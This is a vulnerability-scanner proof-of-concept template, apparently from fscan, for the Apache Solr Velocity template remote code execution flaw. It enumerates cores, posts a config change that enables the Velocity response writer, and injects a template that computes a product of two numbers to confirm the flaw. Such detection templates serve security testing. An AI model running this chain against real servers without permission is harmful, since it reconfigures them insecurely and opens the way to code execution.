fscan/Web_Scan/pocs/solr-velocity-template-rce.yml

39 lines
1.3 KiB
YAML

name: poc-yaml-solr-velocity-template-rce
set:
r1: randomInt(20000, 40000)
r2: randomInt(20000, 40000)
rules:
- method: GET
path: "/solr/admin/cores?wt=json"
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
search: |
"name":"(?P<core>[^"]+)"
- method: POST
path: >-
/solr/{{core}}/config
headers:
Content-Type: application/json
body: |-
{
"update-queryresponsewriter": {
"startup": "test",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
expression: response.status == 200
- method: GET
path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c"
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: Loneyer
description: 'Apache Solr RCE via Velocity template'
links:
- https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
- https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2